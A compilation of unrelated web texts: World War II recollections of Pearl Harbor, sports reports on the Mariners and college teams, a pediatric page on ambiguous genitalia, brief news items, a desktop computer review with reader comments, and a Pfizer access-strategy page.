"(At age 10) I, like many of my friends, sold The Youngstown Vindicator daily and Sunday newspapers. At the time, I was too young to have a regular paper route, so we sold our papers on the streets and in business places throughout Salem. Early in the morning, while my family and I were still asleep, there came a BANG, BANG, "HEY JOE WAKE UP." ... There was my boss, Cecil, from the Vindicator shouting for me to take these papers; he was dropping them on the porch. "Take them up and down the neighborhood, yelling 'EXTRA! EXTRA! JAPS BOMB PEARL HARBOR.'" Before I could speak, he was running to his car and driving off. I thought to myself, "I'll never be able to sell that many papers (25) in one day." I did what Cecil told me to, I walked about three blocks and sold all the papers in no time at all." - Joseph Alessi, Jr., age 81, Youngstown
"We were all listening to the radio on Dec. 7, 1941, when President Roosevelt announced the U.S. had declared war on Japan after they bombed Pearl Harbor. My older brother, Harold, would turn 18 the next day. We knew that our lives were going to change dramatically. Harold was drafted a few months later. I was still in high school. Then, after I graduated in 1942, I was inducted into the Army." - Robert A. Bohyer, Lima
"I was fourteen years old in 1941 and living in a small town in North Carolina with my parents. It was Sunday, we had been to church and I was just finished doing the dishes. I remember walking into the living room and seeing my dad leaning toward the radio. My mom was sitting on the arm of the chair, holding his hand, and he had tears running down his cheeks. That was such a surprise that I started to go to him, but my mother motioned for me to sit down and listen. It was President Roosevelt, on the radio, telling the nation that Japan had just attacked Pearl Harbor, leaving mass destruction and many casualties. It was December 7, 1941, and we were going to war." - Catherine Gary, age 85, Sharonville
"My Dad, who worked as a post office employee, and several of his friends joined the Marines ... Dad's letters were often deleted on specific words, i.e., Dad wrote asking about Pearl Gettles, who lived across the street from Grandma, and he said it was an "abhorring" day today. Mom worked crossword puzzles and reasoned that Dad was telling her that he was in Pearl Harbor. This was after the destruction. He sent home pictures to us from Guam and aboardship. One picture showed an airplane crashing into Pacific Ocean." - James Gillis, age 77, Huber Heights
"The Japanese attack on Pearl Harbor on 7 December 1941 propelled the United States into World War II exactly 67 days after my 10th birthday. The war was my constant companion for the next four years, until I was nearly 14 years of age. The war was at home, in the schools, in the movies, on the radio, in churches and temples, in the marketplace, in conversation and in dreams. It was inescapable and flavored everything, especially the attitudes of a child transitioning into teenage during those impressionable years." - David J. Goodman, age 80, Moreland Hills
"On December 7, 1941, I was a senior in high school. The next day, all we talked about was 'the war' and what boys were enlisting. Gradually things changed. We graduated and went to work or college, but the boys were missing. My boyfriend, who had graduated in 1941 and was working in the shoe store, enlisted in the U.S. Marine Corps ... When my boyfriend came home on leave, we were married. Then for a time, I was in North Carolina with him ... When my husband was sent to the Philippines I went home to my parents in Chillicothe, Ohio, where I lived all my life. The rest of the war went slowly. We girls (women now) went to movies, organized sewing clubs, wrote lots of letters and worried about the men. Our oldest son was born during this time. It took 2 months for his father to get the news." - Anna C. Stout, age 87, Chillicothe
"I graduated from Columbus North High School in June, 1941. In September, I began classes at Ohio State. Many of my high school class mates also attended OSU, and we lived at home. On Sunday, Dec. 7, my sister and I returned home from a movie to find our parents listening to the radio about the bombing of Pearl Harbor. My freshman year was a good experience with lots of social activities, new friends, etc. But the second year saw the campus almost wiped clean of boys. Our classes were much smaller and mostly all girls ... By junior year, the Army sent soldiers (ASTP) to OSU to take classes. They marched across the oval in formation, and their classes were separate from ours. The professors informed us that the soldiers were better students than 'us girls.' We were glad to have them around, and we held U.S.O. dances for them." - Marjorie Kinnear Sydor, age 89, Dayton


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PEORIA, Ariz. — Felix Hernandez never asked to be the face of the Seattle Mariners franchise. It's not something you can choose. It chooses you when you are one of the most talented and successful players on the team and blessed with charisma.
But unlike Ichiro Suzuki, Alex Rodriguez and Ken Griffey Jr., Hernandez didn't run from the responsibilities that came with the role. Instead he wrapped his arms around it like one of his two children.
Be the guy that represents the Mariners? No, problem.
"He does embrace what he means to the Seattle Mariners and the community and the greater Northwest," Mariners manager Eric Wedge said. "That's not just about baseball. There's so much more than that involved. The time he gives to the community, the time he gives to the Mariners and just what he cares about and what is important to him. I think all those things come into play when it comes to what Felix Hernandez means to us."
So before Hernandez could officially sign his new contract extension and deliver a stirringly emotional press conference that left those watching with goose bumps, his manager and teammates back at spring training here could only offers compliments and reasons why he deserved the 7-year, $175 million payday.
"It's nice when good or great things happen to good people," said shortstop Brendan Ryan. "In the offseason or whenever asked, I spend more time talking about him as a guy in the clubhouse and how he carries himself. He's just grounded. You don't talk about entitlement with him. There's humility about him. He's earned it. He's the King and we're just happy for him."
From his fellow pitchers, you will find nothing but admiration and respect. "He's earned that deal," said fellow starter Blake Beavan. "You look at what he's done and what he's accomplished. He's somebody that puts in the work. He just doesn't show up and have success. He works."
When Beavan and other rookies were first called up, Hernandez bought meals, offered advice and took care of them.
"We didn't even ask," Beavan said. "He just did it. He didn't have to do it. He wanted to do it."
Wedge often preaches about things like commitment and professionalism. He has the best example in his best player.
"You're talking about a couple times Felix has chosen to stay here, and now he's going to be here for a long time," Wedge said. "I think it says a lot about his character and what Seattle and the Mariners mean to him. But it also says a lot about his belief in the direction this big league club and organization are going. He wants to win as much as anybody."
Being the face of the Mariners or any team isn't easy. There are requests, responsibilities, duties and it takes time and energy. To his credit, Hernandez has understood and accepted all that has been asked, while still performing on the field.
"That's why he's a special guy," Ryan said. "It takes a special personality to embrace those things and want to be that guy and be able to handle it. There's a lot that goes with it. People are always tugging at your shirt and all that."
And yet, Hernandez never complains about it. He does it because he wants to. It's what you're supposed to do.
"You want to shake his parents' hands, and tell them they did a good job," Ryan said. "He gets it. He's got a good head on his shoulders and carries himself the right way. I don't think there's anything phony about him. What you see is what you get and there's not enough of that around."
Mariners trade Kelley
The Mariners have traded right-handed reliever Shawn Kelley to the New York Yankees for minor league outfielder Abraham Almonte.
After designating Kelley for assignment to make room for Kelly Shoppach on Thursday, the Mariners had 10 days to either trade, release or outright him.
Kelley, who has value as a reliever, wasn't going to clear waivers, so instead of losing him without a return, the Mariners picked up Almonte to add to their organizational depth.
Almonte, 23, played 78 games for Class AA Trenton, hitting .276 with 17 doubles, four triples, four homers and 25 RBI with 30 stolen bases. He posted a .350 on-base percentage and a .392 slugging percentage. He has stolen more than 30 bases five different times in his career. Almonte isn't really considered a prospect, but more of an organizational player that can provide depth at the Class AA and Class AAA level.


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When a child's gender is in question at birth, because genitals may not appear clearly male or female, the child is said to have ambiguous genitalia. Ambiguous genitalia can be a traumatizing experience for parents.
Early in fetal development, the tissue that will become the gonads (ovaries or testes) is undifferentiated and has the potential to become either ovaries or testes, depending on the genetics of the fetus. Humans have 46 chromosomes in each cell of their body, or 23 pairs. The 23rd pair determines our gender; females have two X chromosomes, while males have one X and one Y chromosome. The chromosome complement in humans is written: 46, XX, normal female or 46, XY, normal male.
There is a gene located on the short arm (top half) of the Y chromosome, called "SRY," which, if present, will cause the undifferentiated gonad to become testes (indicating a male) around the 6th week of fetal life. At the same time, regression of what would have been the female reproductive tract occurs. As the testes produce testosterone, the phallus (penis), scrotum, and urethra form. Later, during the 7th to 8th month of the pregnancy, the testes will descend into the scrotum.
In the absence of the SRY gene, the gonad will differentiate into an ovary (indicating a female). Likewise, the female reproductive tract will continue to develop, forming the uterus and fallopian tubes. At the same time, regression of what would have become the male reproductive organs occurs.
A variety of genetic and environmental factors may influence this development, leading to ambiguous genitalia. Ambiguous genitalia, as the word implies, may make determining the child's gender more difficult. Very few infants with ambiguous genitalia have genitals that are so ambiguous that a gender determination is not made at birth. Far more common are the following observations at birth:
There are a number of different causes of ambiguous genitalia, with the most common described below. The cause, in many cases, is not known and the disorder appears to occur by chance. Children who are born with ambiguous genitalia may fall into one of the following groups:
There are two primary causes of male pseudohermaphroditism:
This is called "androgen insensitivity syndrome," because male infants are not responsive to androgens (testosterone). Androgen insensitivity syndrome is inherited by a defect in the androgen receptor gene on the X chromosome,and the inheritance is therefore described as "X-linked recessive." Mothers who carry the gene have a 50/50 chance to have a son with androgen insensitivity syndrome, while daughters (of mothers who carry the gene) have a 50/50 chance to be carriers of the gene.
The enzyme 5-alpha reductase is deficient, therefore, it cannot carry out its task of converting testosterone into dihydrotestosterone (DHT) which is necessary for complete masculinization of a male fetus. A 5-alpha-reductase deficiency is inherited by an autosomal recessive gene, which means that each parent carries one copy of the gene, and transmits it to the child. Carrier parents have a one in eight, or 12.5 percent, chance, with each pregnancy, to have an affected child since only males are affected.
There are a number of causes of female pseudohermaphroditism:
In some cases, the mother of a child with CAH can be given medications during pregnancy to lessen the effects of the enzyme deficiency, if the fetus is female.
Another type of CAH, called "salt-losing," is very serious and often lethal due to an electrolyte collapse in the newborn. Treatment is available if diagnosed early. Males and females are equally affected. There are other, rarer enzyme problems, which can result in CAH, in either males or females.
There are a number of other syndromes in which ambiguous genitalia is one feature (characteristic) of the disorder, in addition to other features.
When a child's genitalia appear ambiguous at birth, your child's physician will conduct both a medical history and a physical examination of your child's external genitalia. The medical history will include the mother's health during pregnancy, and a family history of any neonatal deaths or genital abnormalities. First, your child's physician will make a diagnosis of the underlying cause of the disorder. Diagnostic procedures may include a newborn screening test for CAH, hormonal studies, and a biopsy of the reproductive organs.
To determine the sex, your child's physicians will consider the following:
Sometimes, there is an increased risk for tumors in the gonads. Treatment for ambiguous genitalia depends of the type of the disorder, but will usually include corrective surgery to remove or create reproductive organs appropriate for the gender of the child. Treatment may also include hormone replacement therapy (HRT).
Making a correct determination of gender is both important for treatment purposes, as well as the emotional well-being of the child. Some children born with ambiguous genitalia may have normal internal reproductive organs that allow them to live normal, fertile lives. However, others may experience reduced or absent fertility (difficulty or inability to conceive a child).


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Doctor 'Saved Lives' By Shooting Hospital Gunman
A Pennsylvania police chief says that a doctor undoubtedly saved lives after he shot a gunman who opened fire Thursday in an incident that left a hospital case worker dead.
The gunman, Richard Plotts, of Upper Darby, opened fire at Mercy Elizabeth Hospital, just outside of Philadelphia, shortly after entering an office with the case worker, the Associated Press reports.
Witnesses said that when they opened the office door after hearing shouting, they saw Plotts with a gun. The witnesses closed the office door and called 911. Minutes later, they heard gun shots.
Plotts had shot and killed a 53 year-old female case worker. He sustained several critical gun shot wounds himself from the gun of a hospital psychiatrist. The psychiatrist suffered a graze wound to his head. Plotts was taken into custody.
"Without a doubt, I believe the doctor saved lives," said Yeadon police chief Donald Molineux, according to the Associated Press.
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The Russians know some of the key alawite flag rank officers in the military quite well.
Assad the alawite will not go until the balance of power is decisively against him.
The one who suffered the most was an alawite, a man belonging to the same Shia minority as the Assads, and considered a turncoat.
Many Sunnis hated the long dominant alawite minority and its Christian supporters before the conflict began in March 2011.
The plausibility of an alawite enclave, meanwhile, has been a subject for debate.
Assad hails from the alawite sect, an offshoot of Shiite Islam that al Qaeda, a Sunni group, considers a natural enemy.
The prisoners, both alawite, are waiting until the FSA finishes their investigation before being released.
Another, Mazzeh 86, is an "alawite slum and the point of origin for many pro-regime militias."
Some Syrians interpreted this as a coded message suggesting that, as an alawite, Assad is not a true Muslim.
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Anderson, S.C. - The Tornados opened their 2010 season at Anderson Wednesday afternoon. Brevard jumped out to a 2-0 lead after the first inning but the Trojans took advantage of some Brevard defensive miscues in ultimately prevailing, 15-3.
BC opened the game with a two-run first inning courtesy of a two-run homer from Kellen Moman after Kramer Clark was hit by a pitch with two out in the first inning. Jacob White struck out Anderson's Ryan Saxon swinging with two out and one on to end the first.
Brevard threatened again as Ronald Patterson and Stephen Renegar walked in the Tornados half of the second inning but Clark struck out looking with two out to end the threat.
Anderson responded with two runs to tie the game in their half of the second. Matt Hill and Blake May notched consecutive singles. A Brett Scarberry sacrifice moved the runners to second and third. Jonathan Romano reached on a fielder's choice, with May going to third and Hill being thrown out at home by Matthew Pruitt. Thomas Prado singled to drive in May for the Trojans first run. Derek Hipp reached on an error by Kramer allowing Romano to score.
The Trojans tacked on two more in the bottom of the third to take a 4-2 lead. Trent Still and Saxon hit consecutive doubles sandwiched around a Matt Ennis passed ball. The next two Trojans struck out swinging before Scarberry reached on an error by Moman allowing Saxon to score.
The Trojans busted the game open in their half of the fourth, scoring 11 runs on eight hits. Trent Still blasted a two-run homer off new Brevard pitcher Jessie Reid. Tony Prado then drove in three runs off of Brennen Daniels.
Brevard added a final run in the sixth inning on a Jackie Corn single that drove in Matthew Pruitt from second base.
Brevard plays for the first time in the 2010 season at Gil Coan Field on Saturday, February 13, against Mercyhurst in a doubleheader starting at noon. The series concludes with a 1:00 p.m. game Sunday. Brevard swept the Lakers last season. Anderson next plays against Erskine on February 12.


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"The Chronicles of Narnia: Voyage of the Dawn Treader", based on the 1952 novel by C.S. Lewis, is the best film of this latest franchise interpreting the fantasy series -- and the first in 3D.The cinematography is gorgeous and the fusion of CGI (computer generated images) and real characters seamless. Even more outstanding is the script that never stalls and blends characters, plot, and themes in ways that entertain and inspire. Directed by Michael Apted, "Dawn Treader" reflects a marked … [Read more...]
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"The goal of this year's CTW show is to have education sessions tailored for everyone -- sales, operations and senior management alike," said Dean Gilland, NAMA's vice-president of sales and CTW. "CTW gets bigger and better each year, and 2014 will be no exception."
In addition to discussing this year's CTW show, the committee reviewed surveys from both attendees and exhibitors regarding the 2013 show in Nashville. They also received a government affairs update on issues that may affect coffee service operators. There was time for networking, like the opening dinner which was attended by Dallas-based operator Patrick Moran of Moran Munchies and NAMA Knowledge Source Partner Fred Parish, who is also from the Dallas market.
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A Week in Limbo, Epilogue: An outstanding machine
Before I start, there is only one thing glaringly wrong with the ZaReason Limbo 5440: having to give back the review model to ZaReason in Berkeley (it's on its way back to you, Earl).
The ZaReason Limbo 5440 is, in three words, an outstanding machine; a simply outstanding machine that can easily handle any work load ranging from that of the average household user who's just surfing the Web to the constant tinkering and tweaking by the most restless Linux user (to the latter, I plead guilty). Ruggedly built and with a clean design, the desktop fits in nearly any location in the home — it spent a day or two in the "lab" (a.k.a, "The Jungle Room," where all our computers live in the house and where I do my best work) but spent the rest of the week in the living room in an unobtrusive manner.
But enough of the interior decor talk: The attention to design, both internally and externally, is completely as functional as it is stylish. But perhaps its best physical feature — expandability — makes this model an exceptional one for those who may have an overwhelming desire to add the latest and greatest hardware features to an already exceptional desktop. (A side note: In conversation with ZaReason CTO Earl Malmrose, I was given a green light to add software and hardware to my liking. But I passed on the latter — why spoil a good thing?)
As far as performance goes, everything I threw at the desktop during the course of the week, the Limbo 5440 handled without breaking a proverbial sweat. The only time I could get any of the processors to peak at 100 percent was running folding@home on a regular basis: Using the system monitor, CPU1 (which I would assume is processor 0 in the quad-core scheme of things) ran at 100 percent while using folding@home while any of the other CPUs displayed on the program barely passed 20 percent at any time during program use. The rest of the time, even running multiple programs, I got the sense that reading the graphs on the system monitor, the lines were gentle smiles laughing at me at my attempts in vain to make the desktop work hard.
The price tag for the Limbo 5440 as tested — $969, which is up from the base price of $499 thanks to a variety of upgrades (specs are below) — might seem a little steep to some. But ZaReason's advantage, one that clearly benefits the consumer, is the issue of value, and how the value of this outstanding machine eclipses the issue of cost. Yes, you could by a cheap box from an OEM that has Windows presinstalled, but then there are a plethora of issues around that — buying a cheaper box at a big box allows Redmond to chalk up another user and the hardware in some of the cheaper desktops are — how can I put this tactfully? — not up to par.
So buying hardware from a company dedicated to Linux has its advantages. To his credit and that of the company, Earl Malmrose and the engineering staff at ZaReason sends out 100 percent high-quality Linux-supported hardware.
Quality and value are ZaReason hallmarks,and the Limbo 5440 lives up to them. This desktop would be a keeper, if I didn't have to give this review desktop back, and given the opportunity to purchase this machine in the (near) future, I would easily jump on the opportunity to do so.
Now to find a spare $969 . . . .
Specs as tested (the standard Limbo 5440 specs can be found here):
2nd Generation Intel Core i5 3.3 GHz
Fedora 16 GNOME with shell extensions (changed to Fedora 16 KDE at mid-week)
3 500GB Hard Drives, 7,200 RPM, RAID-5 array
One year warranty
Size of case: 7″ x 14.6″ x 13.8″ / 17.8 x 37.1 x 35.1 cm
Internal Slots: 2x PCI, 1x PCI-Express x16
Rear Ports: 4x USB 2.0 Ports; 1x PS/2 Ports (for that old keyboard/mouse); 1x VGA Port; 1x 10/100 Ethernet Port; Audio I/O Jacks
Front Ports: 2x USB Ports; Headphone Jack; Mic Jack
"A Week in Limbo Series" (for those of you keeping track)
A Week in Limbo, Day 0
A Week in Limbo, Day 1: Under the hood
A Week in Limbo, Day 2: Fedora 16
A Week in Limbo, Day 3: Fedora 16 KDE
A Week in Limbo, Day 4: On second thought . . .
A Week in Limbo, Days 5 and 6: Get with the program
A Week in Limbo, Epilogue: An oustanding machine
(Larry Cafiero is one of the founders of the Lindependence Project and has just started testing and developing software in his new home office, which is the development side of Redwood Digital Research in Felton, California, United States.)
December 27, 2011 at 2:03 pm
Good job. Bet it is easy to write a review when you only have
to use superlatives.
To coin a phrase: Better components make better computers.
Maybe LtFSG could become Larry the Free Computer Review
December 27, 2011 at 11:49 pm
"machine that can easily handle any work load ranging from that of the average household user who's just surfing the Web to the constant tinkering and tweaking by the most restless Linux user"
-I can do both of these things on my 1998 compaq, not heavy workloads…
Nothing bad to say about it? How about that for almost 1000 bucks you didn't get a screen or an optical drive or wireless (as far as I can tell, though I could not reproduce your $969 price on their site). Upgradable? Yet it has no USB 3.0, and a weak 350 watt power supply standard, plus it's only a mid-tower so there are only 1pcie, and 2 pci slots. Besides, all desktop computers have lots of room for upgrades, it's the reason you buy a desktop and not a laptop Quality components? Ok what are they? What motherboard? what kind of ram? What kind of built in Video did it have? …How much did ZaReason pay you? This is the worst review I have ever read.
December 30, 2011 at 1:39 pm
How many ram slots does it have?
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Yang Delivers Clinching Point in Liberty Win at James Madison
Brittany Yang rallied from a one-set deficit to deliver the clinching point, as the Liberty Lady Flames knocked off the James Madison Dukes, 4-3, on Tuesday afternoon at Hillside Courts.
"I am so proud of our girls," commented Liberty head coach Jeff Maren. "We showed great character after losing the doubles point. Brittany showed such courage in her match. She was down, but never out."
Liberty's fourth win in a row improves its record to 10-7 (6-2 Big South) on the season. The Lady Flames have now won 10 or more matches for the third consecutive season. With the loss, James Madison falls to 7-5 on the year.
The Dukes took the doubles point after collecting wins in the No. 1 and No. 3 positions, marking the first time in four matches that the Lady Flames have not notched the doubles tally. At No. 1, Taylor Pinchoff and Michelle Nguyen downed Liberty's Rebekah Jenkins and Nicola Wellman, 8-5. The Lady Flames' Cameron Richard and Valerie Thong had their six-match winning streak snapped by Jacqueline Palmucci and Ruxandra Andriescu, 8-4, in the No. 3 match.
Yang and Jessie Boda continued to click as a pair at No. 2, winning their 13th match of the season, 8-7 (9-7), over Kara Wirth and Katherine Bulling.
Richard quickly tied the match at one apiece with her second consecutive singles win, 6-2, 6-2, against Palmucci in the No. 2 position. Thong followed with a straight-set victory versus Bulling, 6-3, 6-3, for her fourth straight win and ninth overall on the year.
James Madison took the next two singles tilts to pull ahead, 3-2. Pinchoff outlasted Jenkins, 6-7, 6-3, 6-4, in the No. 1 position, while Douglass downed Liberty's Annisha Domenech, 6-3, 6-4, in the No. 6 spot.
In the No. 3 slot, Wellman dropped a hard-fought first set to Andriescu, 7-5. The Liberty sophomore bounced back with wins in the final two sets, 6-4, 6-1, for her 11th victory of the year, tying the match at three each.
With the contest down to the final singles match (No. 5), Wirth jumped out to a one-set advantage against Yang, 6-3. Yang found herself trailing 5-3 in both the second and third sets, but found a way to pull out wins in each, 7-5, 7-5, clinching the win for the Lady Flames.
Liberty will play its last two home contests of the season this weekend, beginning on Friday against Charleston Southern at 1 p.m. On Saturday, the Lady Flames conclude their home schedule with an 11 a.m. match versus Marshall.
Liberty 4, James Madison 3
1. Pinchoff/Nguyen (JMU) def. Jenkins/Wellman (LU), 8-5
2. Boda/Yang (LU) def. Wirth/Bulling (JMU), 8-7 (9-7)
3. Palmucci/Andriescu (JMU) def. Richard/Thong (LU), 8-4
1. Pinchoff (JMU) def. Jenkins (LU), 6-7, 6-3, 6-4
2. Richard (LU) def. Palmucci (JMU), 6-2, 6-2
3. Wellman (LU) def. Andriescu (JMU), 5-7, 6-4, 6-1
4. Thong (LU) def. Bulling (JMU), 6-3, 6-3
5. Yang (LU) def. Wirth (LU), 3-6, 7-5, 7-5
6. Douglass (JMU) def. Domenech (LU), 6-3, 6-4


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Tornados sweep season series with Montreat, 3-1October 7, 2009
Seaman and Trojan record double-digit kills in the four set thriller
Brevard, N.C. - The Tornados snapped a recent two-game home skid Wednesday night against the visiting Montreat Cavaliers as Brooke Seaman fired in a game-high 17 kills to go with eight blocks and Chelsey Trojan came alive with 13 kills and 11 digs as Brevard won in four sets, 25-17, 25-18, 19-25 and 25-13.
With the win, Brevard improves to 11-6 on the season and completes the season sweep over the Cavaliers, while Montreat falls to 16-10.
Jordei Osby added nine kills and three blocks to the Tornados attack and Chelsea Larsen chipped in with eight of her own as the Tornados hit 28.2% for the game.
Libero Rebecca Schoonover continued to have the hot hand on defense, recording her fourth straight 20-plus dig game, leading all backline defenders with 20 digs, while Cori Emory added 16 and Lindsey Rogers kept 11 in play.
Rogers and Bethany Stevenson combined setting duties, with Rogers dishing out 24 set assists, while Stevenson added 22.of her own.
Montreat was led by the duo of Ellen Goodman and Allison Baumgartner, who both had double-digit kill games with Goodman recording a team-high 11 and Baumgartner 10.
Elisabeth Huitron and Alyssa Kaufman each had nine digs for the Cavaliers, while Natelie Nieman and Lyndsey Wall set up the Montreat attack with 16 and 11 assists respectively.
Brevard opened the game and held a consistent three-point lead 21 points into the game at 12-9 as Seaman hammered home three kills right off the bat and Larsen and Trojan added two apiece.
A kill by Kaufman cut the lead back to two, before the Tornados went on a 9-0 run on the serve of Rogers as Larsen and Trojan added kills to the onslaught.
Baumgartner put in two kills the rest of the way, but a service ace by Emory ended the first set in favor of the home team, 25-17.
Montreat opened the second set, going up 10-6 as Goodman and Kaufman began finding the floor, combining for six kills.
The lead advanced up to 15-8 on a kill by Baumgartner off the assist from Nieman.
A kill by Seaman gave the serve back to the Tornados and they again went on a tear, recording the next eight points on Trojan's serve as Seaman placed in two more kills to put the score in favor of Brevard 18-16.
The teams swapped points on kills by Hannah Bostic and Seaman before Osby took control, pounding in a trio of kills before Ashlie Morrison drove home the game-winner, 25-18.
Montreat opened up the third set with another run, going up 14-7 as Goodman put in four kills.
The Tornados continued to fight throughout the set, but were unable to bring it back within five points the rest of the way as a misplay by Brevard extended the match into the fourth set, 25-19.
Brevard and Montreat swapped points at the beginning of the set as an error by Morrison put the game at 4-3 in favor of the Tornados early.
The score would remain within two until Caroline Merrill's serve as the Tornados went on a 7-0 run to put the game at 13-6, with Merrill recording her first collegiate kill in the run.
Montreat stopped the momentum momentarily as Kaufman placed in a kill, but the Tornados came back on Trojan's serve to go on another 7-0 run to put Brevard in full control of the match at 23-10.
Morrison closed out the match with a kill as Brevard took home the four-game set, 25-13.
The Tornados are back in action to play game four of their five game homestand as they host conference rival Mars Hill College in Boshamer Gymnasium on Friday, October 9th, at 7 p.m. Montreat is also in action on the 9th as they participate in the Asbury College Volleyball Invitational, with first serve for their game against Madonna University coming at 4 p.m.


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Global Access Strategy
Pfizer's Global Access team is exploring innovative business models to increase access to health care and medicine for low-income populations in emerging markets. We are integrating commercially viable global health solutions into the way Pfizer does business to sustainably reach patients Pfizer has never reached before through commercial channels.
Providing Important Medicines Through Institutional Buyers
One of the approaches of our Global Access strategy is to work with institutional buyers who purchase medicines for the neediest of patients. For example, Pfizer has long-standing business partnerships with both the U.S. Agency for International Development and the United Nations Population Fund to make our injectable contraceptive, Depo-Provera, available to women all across the globe, from sub-Saharan Africa to Southeast Asia to Latin America. Our Global Access team aims to make a broad portfolio of our medicines accessible to as many low-income patients as possible by seeking to include appropriate Pfizer-originated medicines on the WHO prequalification list—a prerequisite for many institutional buyers.
Using Mobile Technology to Strengthen Access
Another element of the Global Access Strategy helps address barriers to access by using technology to improve the availability of medicine in low-income countries. For instance, Pfizer and the mobile phone company Vodafone are testing new technologies that help hospitals and health care clinics better manage their drug supply, create transparency in the supply chain and reduce the number of stock outages of vital medicines—all to the ultimate benefit of the patient.
The SMS for Health program, currently being tested in The Gambia, enables users across all levels of the pharmaceutical supply chain to communicate via text message with a central database that tracks drug availability. The program also tracks high-priority health events that occur at the clinic level, such as the number of patients who present with malaria, pneumonia and maternal health issues.
This collaboration is part of the "Business Call to Action," a global leadership initiative composed of companies applying their core business expertise and commercial channels to help achieve the eight Millennium Development Goals, which aim to contribute to the long-term economic growth and stability of developing countries.


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